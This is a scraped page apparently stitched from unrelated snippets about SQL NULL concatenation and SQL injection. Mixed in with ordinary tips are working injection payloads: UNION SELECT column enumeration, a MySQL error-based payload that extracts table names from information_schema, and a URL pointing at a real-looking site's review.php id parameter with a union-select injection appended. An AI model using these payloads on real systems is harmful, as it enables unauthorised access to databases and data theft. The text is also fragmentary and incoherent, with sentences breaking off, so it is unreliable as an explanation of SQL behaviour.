just run SET CONCAT_NULL_YIELDS_NULL OFF and then all null concatenations will result in text and not null..
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
CONCAT(tadd.apt_number,', '), -- hack, this line will become NULL, when apt_number is null, and will be omitted with delimiter.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Note: A NULL value is different from a zero value or a field that contains spaces. A field with a NULL value is one that has been left blank during record creation!
www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat
1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'
In one of my MySQL queries, it can happen from time to time that in the results there is the one or the other NULL value, because the corresponding cell has not yet been added to
SQL’s NULL indicates absent data. NULL propagates through expressions and needs distinct comparison operators.